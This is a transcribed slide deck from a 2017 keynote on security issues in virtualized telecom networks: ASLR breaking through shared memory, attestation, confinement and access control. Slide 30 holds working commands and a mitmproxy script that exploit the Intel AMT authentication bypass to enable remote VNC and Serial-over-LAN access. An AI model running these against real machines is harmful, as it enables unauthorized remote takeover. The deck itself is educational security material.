DataArt Keynote: Security in Virtualized Telecom Networks Michael Lazar, VP Telecoms Practice, DataArt One aspect of Programmable Telecoms is the network becomes software defined, and thanks to virtualization with shared resources it can possibly achieve $32B in savings by 2020 according to SNS Research. It is critical to understand the unique security issues of virtualization in telecom networks with multi-vendor and cross-vendor management issues that require a standardized architecture with complex management requirements. This presentation will cover critical security aspects such as shared memory, shared networking, timekeeping, attestation, hardware security devices, hardware security enclaves, software confinement technologies and more. The objective is to deliver clear understanding of the challenges in securing SDN/NFV, and the steps telcos need to take in that migration.

1. Security in Virtualized Telecom Networks
November 2017
Michael Lazar – DataArt Solutions, Inc.
Michael.Lazar@dataart.com

2. Virtualization and Security
“Everything is going to be unimaginably worse and is
never going to get any better.”
― Kurt Vonnegut Jr.

3. The Network Function Virtualization (NFV) ”Promise”
Service Providers want to make their networks agile and efficient to meet the challenges of
exponential bandwidth demands and be able to create revenue streams with innovative services
and new business models.
Network Function Virtualization (NFV) and Software Defined Networking (SDN) has emerged as the
paradigm that has the potential to transform these the industry by delivering cloud style agility and
innovation and enhancing economic viability.
By 2020 SNS Research estimates that SDN and NFV can enable service providers (both wireline
and wireless) to save up to $32 Billion in annual CapEx investments
ACG Research estimates that NFV will reduce capital expenditure by 68% and reduce operating
expenditure by 67%

4. Virtualization and Security
• Security is and always will be a cat-and-mouse game
• Tradeoffs between performance and security may
need to made but the impact should be understood
• Low level security provides a foundation to build on
• Some remediation techniques can add significant
management burdens
• Virtualization brings unique security issues that may
not be apparent until everything is put together (fully
functional system)
• SECURITY IS EQUAL PARTS PROCESS, PEOPLE
AND TECHNOLOGY – Technology alone is never
the answer
Image – Eric Isselée

5. Critical infrastructure is different
A nuclear power plant in Ohio (USA) a safety monitoring system offline for nearly five hours.
Stuxnet.
Power plant control systems in Ukraine - cut power to more than 80,000 people.
Illinois (USA) water utility breach that resulted in attackers burning out a pump.
Dallas (USA) - A hack of its emergency warning system resulting in a multi-day system shutdown.
US Department of Homeland Security (DHS) vulnerability assessments show an average of 11 direct
connections between the control network and the enterprise network.
US agencies are tracking over 300 successful SCADA hacks so far this year (2017)
Boeing 757 Testing Shows Airplanes Vulnerable to Hacking (DHS – November 8, 2017)

6. Simplified Telco Architecture – Reference

7. Virtualization –
A Change from Discrete components to shared resources
Classical Network Appliance Approach
• Fragmented non-commodity hardware.
• Physical installer per appliance per site.
• Hardware development large barrier to entry for new
vendors, constraining innovation & competition.
Network Virtualization Approach
• Commercial off the shelf hardware (COTS)
• Open / Standardized APIs (Communication)
• Open Source being investigated as a viable alternative
• Traditional OEM and WhiteBox manufactures

8. Challenges in adopting Virtualization
Security models in a virtualized environment are
different from legacy environments.
• In non-virtualized implementations, the existing execution
model between hardware and software made sense.
• With virtualization, this may not be the case. Previously
physically isolated functions may now co-exist on an
underlying hypervisor (or cluster of hypervisors).
• In the event of a successful virtual machine attack, there
is a real possibility that the hypervisor itself may be
compromised thereby putting virtual functions that reside
on a single or clustered hypervisors.
• Furthermore, pushing ‘functions to the edge’ with
virtualization also brings new security challenges, remote
sites can now run VNFs that present an attack vector into
the core of the network, e.g. vEPC components at
remote locations are now a potential attack vector.
• There is also a difficult balance between performance
and security to be maintained. Some packet acceleration
technologies require removal of some defenses, e.g.
confinement (SELinux, AppArmon, etc.) which can lower
the barrier to particular types of VNF (VM) or hypervisor
attacks

9. Virtualization – Memory address-space randomization
Systems rely on address-space layout randomization (ASLR) and data execution prevention (DEP)
to protect software against memory corruption vulnerabilities. The security of ASLR depends on
randomizing regions in memory
Memory deduplication is a common feature of virtual machine monitors (vmms) that reduces the
memory footprint and increases the cost-effectiveness of virtual machines (vms) running on the same
host
ASLR has been demonstrated to be broken in virtual (cloud) systems (CAIN). This is an
architectural issue and is not easily fixed.

10. Timekeeping
Why is timekeeping important ?
Authentication
Billing
Logging of events / order of events / root cause analysis
Transactional coherence
Legal and Regulatory Requirements

11. Virtualization - Timekeeping Methods
•Coordination is required between host and guests
•Operating Systems (Hypervisor choice matters)
•Disk I/O can have an unexpected impact on timing accuracy (blocking IO)
•Over subscription (over allocating memory or CPUs can have an impact)
As an example: Location Services
100 nano seconds (ns) accuracy implies an area of 1365 M^2

12. Virtualization – the ‘root’ of the issue
The (vast) majority of todays commercial physical compute resources and operating systems
fundamentally work off of a implicit trust model. To be more explicit, there is trust between the
hardware subsystems and kernel operations. Even when zero trust models are implemented in user
space, todays kernels (and kernel variants) rely on implicit trust to function.
Virtualization attack vectors have become more sophisticated focusing on virtual machine attacks
(break out), hypervisor attacks (blue pill), side channel and compromised hardware (malicious
hardware). These are not hypothetical attacks
Over the last years several hardware and software technologies have been made available, including
VT-d, Authenticated boot, Trusted Platform Modules (TPM), Trusted boot (tboot), SELinux, sVirt,
AppArmor, OAT SDK (remote attestation toolkit) and Trusted Execution Technology (TXT) to make
platforms more secure.
Additional technologies are available or emerging including TrustZone (ARM/AMD) and Software
Guard Extensions (Intel SGX).

13. Chain of Trust – Attestation is designed to produce a
secure root of trust
• Consider that entity A launches entity B, then B launches C.
• A measures B then passes control to B
• B measures C and passes control to C
• The question now becomes "who measures A?”
The Core Root of Trust for Measurement
(CRTM) is the BIOS boot block code. This
piece of code is considered trustworthy.
It reliably measures integrity value of other
Attestation is the means by which a trusted
computer assures a remote computer of its
trustworthy status.

14. Creating a measured Environment

15. TPM/TXT Sample Measurement

16. Gaps in Trusted Pool Model

17. Trusted compute pools

18. Moving towards a better Trust / attestation model

19. Intel CIT Attestation capabilities

20. Power On
Static / Dynamic Measurement
Physical System Verified
Trusted Boot Loader (e.g. tboot)
Kernel Loading
Hypervisor Enablement
Data Partitions
Monitoring
Verify Workload Integrity
TEE
Clear TPM PCR
Confinement Technologies
(e.g. SELinux)
Confinement Technologies
(e.g. sVirt)
Measurement Attestation
Example of Simplified Boot Scheme diagram
Getting to a trusted Execution Environment (TEE)

21. Software Confinement (SELinux / Apparmor)
A system for Mandatory Access
Control (MAC) based on the Linux
Security Modules (LSM) framework
Uses features of role-based
and domain-type access control
Tracks user identity through all
operations
At the kernel level - Prevents
applications from accessing
memory or resources they are not
permitted to,

22. Enhanced Packet Processing
HPE Test Results – Bare Metal / SR-IOV / DPDK OVS
Average Internet traffic is 50%-60% 64byte packets. This would increase more if the VNFs in question
happen to be handling real-time voice and video traffic… like a Session Border Controller, for example.
All tests Bare Metal SR-IOV Accelerated OVS
Frame Size (Bytes) Throughput (GBPS) Throughput (GBPS) Throughput (GBPS)
64 20 15.55 11.78
128 20 19.47 19.93
256 20 19.71 19.93
512 20 19.85 19.93
1024 20 19.84 19.93
1280 20 19.81 19.93
1518 19.97 19.97 19.97
Performance may comes at a the cost of security – ensure that your choices do not require “confinement” to be disabled

23. “Traditional” Role Based Access Control (RBAC)
Traditional Multi-Organizational Access Method

24. Access Control
Attribute-based access control (ABAC) defines an access control paradigm whereby access rights
are granted to users through the use of policies which combine attributes together. The policies can
use any type of attributes (user attributes, resource attributes, object, environment attributes etc.).
This model supports Boolean logic, in which rules contain "IF, THEN" statements about who is
making the request, the resource, and the action. For example: IF the requestor is a manager, THEN
allow read/write access to sensitive data.

25. Access Control
Unlike role-based access control (RBAC), which employs pre-defined roles that carry a specific set of
privileges associated with them and to which subjects are assigned, the key difference with ABAC is
the concept of policies that express a complex Boolean rule set that can evaluate many different
attributes. Attribute values can be set-valued or atomic-valued. Set-valued attributes contain more
than one atomic value. Examples are role and project. Atomic-valued attributes contain only one
atomic value. Examples are clearance and sensitivity. Attributes can be compared to static values or
to one another, thus enabling relation-based access control.

26. Attribute-based access control (ABAC)
Basic ABAC Scenarios

27. Vulnerabilities Explanation

28. Why is Attestation so important?
There is a computer “underneath” your
computer. For Intel it is known as the Intel
Management Engine (ME)
The ME has complete access to all of a
computer’s memory, its network connections,
and every peripheral connected to a
computer.
It runs when the computer is hibernating or
“powered off”. It can intercept TCP/IP traffic
and access any open file.
If you own the ME and you own the computer.

29. Scan
Determine vulnerable
machines with enabled
digest authentication
Login
Bypass Authorization header
and gain access to AMT
Dashboard and API
Escalate
Inject malicious user
or change admin
credentials
Expose
Enable VNC and SOL
Control
Full access to remote
machines
Intel AMT / ME Vulnerabilities

30. Intel AMT / ME Vulnerabilities
Enabling SOL
# apt-get install wsmancli
# wsman put http://intel.com/wbem/wscim/1/amt-
schema/1/AMT_RedirectionService -h ${IP} -P
16992 -u admin -p IDontKnowThePassworD -k
ListenerEnabled=true --proxy $PROXY
MITM Proxy script (cve.py)
from mitmproxy import http, ctx
import re
def request(flow: http.HTTPFlow) -> None:
if 'authorization' in flow.request.headers:
header = flow.request.headers['authorization']
header = re.sub(r'response="[^"]+"', 'response=""', header)
ctx.log.info('modified {}'.format(header))
flow.request.headers['authorization'] = header
ENABLING VNC
$ sudo apt-get install wsmancli
$ export http_proxy=127.0.0.1:8080
$ IP=172.16.0.1
$ VNC_PASSWORD="PaS5w-rd"
$ IPS_KVMRedirectionSettingData="http://intel.com/wbem/wscim/1/ips-
schema/1/IPS_KVMRedirectionSettingData"
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k
RFBPassword=$VNC_PASSWORD
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k Is5900PortEnabled=true
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k SessionTimeout=0
$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k OptInPolicy=false
$ wsman invoke -a RequestStateChange
http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_KVMRedirectionSAP
-h $IP -P 16992 -u admin -p x -k RequestedState=2

31. Shared memory – a hypervisors view of guests
VM’s host memory usage <= VM’s guest memory size + VM’s overhead memory

32. When shared memory is allowed to be used (cloud / NFV), it becomes possible to ”break” ASLR in other VMs by
intentionally looking for shared memory in your own VM. This does not require any type of privilege escalation or exploit
of a “bug”.
Attacker VM: T Attacker VM: T + t
0x7f9ffa70000
0x7f9ffa80000
0x7f9ffa90000
0x7f9ffaa0000
0x7f9ffab0000
0x7f9ffa70000
0x7f9ffa80000
0x7f9ffa90000
0x7f9ffaa0000
0x7f9ffab0000
sleep (t)
Clock cycles:
36
32
29
2667
34
Attacker VM: T + t Clock cycles:
[random]
[random]
0x7f9ffaa0000
[random]
[random]
28
32
24
28
2231
34
28
12455
6511
4213
0x7f9ffa90000
[random]
[random]
0x7f9ffab0000
[random]
Move over
buffer and
touch paged
Write time
affected by
noise
Attacker VM memory performs filtering
Attacker VM memory during verification
Shared Memory starts to introduce new issues

33. Covert Messages – Transparent to hypervisor
VM1
Process 1 Process N
Sender
Process
Covert Channel
VM2
Receiver
Process
Process 1 Process N
Covert Channel
Hypervisor
Last Level Cache (LLC)
Prime + Probe Prime + Probe

34. What can be done?
European Telecommunications Standards Institute (ETSI) - an independent, non-profit organization,
whose mission is to produce telecommunications standards for today and for the future.
ETSI GS NFV-SEC 012
Network Functions Virtualization (NFV) Security
System architecture specification for execution of sensitive NFV components
http://www.etsi.org/deliver/etsi_gs/NFV-SEC/001_099/012/03.01.01_60/gs_NFV-
SEC012v030101p.pdf

35. References
• IBM Trusted Computing for Linux
http://www.research.ibm.com/gsal/tcpa/
TCFL-TPM_intro.pdf
• Intel TXT overview
http://www.intel.com/content/dam/www/
public/us/en/documents/white-papers/trusted-execution-technology-
security-paper.pdf
• Attacking TXT via SNIT - (exploits are old but the detailed
explanation is valuable)
http://invisiblethingslab.com/resources/2011/Attacking_Intel_TXT_via
_SINIT_hijacking.pdf
• Security Enhanced Linux (NSA)
https://www.nsa.gov/research/selinux/
• sVirt – SELinux mandatory access controls with the virtualization
components
http://namei.org/presentations/svirt-lca-2009.pdf
• Hardening the virtualization layer
http://docs.openstack.org/security-guide/compute/hardening-the-
virtualization-layers.html
• Building the infrastructure for Cloud Security (entire book is open
access)
http://link.springer.com/book/10.1007/978-1-4302-6146-9
• Open Attestation Toolkit (SDK) (Used in Trusted Compute Pools
/ Remote Attestation)
https://01.org/openattestation
• Intel Software Guard Extensions
http://www.pdl.cmu.edu/SDI/2013/slides/rozas-SGX.pdf
• ARM TrustZone (have partnership with AMD)
http://www.arm.com/products/processors/
technologies/trustzone/index.php

36. References
• Clémentine Maurice, Manuel Weber, Michael Schwarz, Lukas Giner,
Daniel Gruss, Carlo Alberto Boano, Stefan Mangard, Kay Römer,
“Hello from the Other Side: SSH over Robust Cache Covert
Channels in the Cloud”. https://www.blackhat.com/docs/asia-
17/materials/asia-17-Schwarz-Hello-From-The-Other-Side-SSH-
Over-Robust-Cache-Covert-Channels-In-The-Cloud.pdf
• F. Liu, Y. Yarom, Q. Ge, G. Heiser, and R. B. Lee, “Last-Level
Cache Side-Channel Attacks are Practical”.
• D. A. Osvik, A. Shamir, and E. Tromer, “Cache attacks and
countermeasures: the case of AES”.
• A Barres, K Razavi , M Payer, T Gross, “CAIN: Silently Breaking
ASLR in the Cloud”
https://www.usenix.org/system/files/conference/woot15/woot15-
paper-barresi.pdf
• I Skochinsky, “Hidden code in your chipset and how to discover what
exactly it does”
https://recon.cx/2014/slides/Recon%202014%20Skochinsky.pdf
• Intel-SA-00075 https://security-
center.intel.com/advisory.aspx?intelid=INTEL-SA-
00075&languageid=en-fr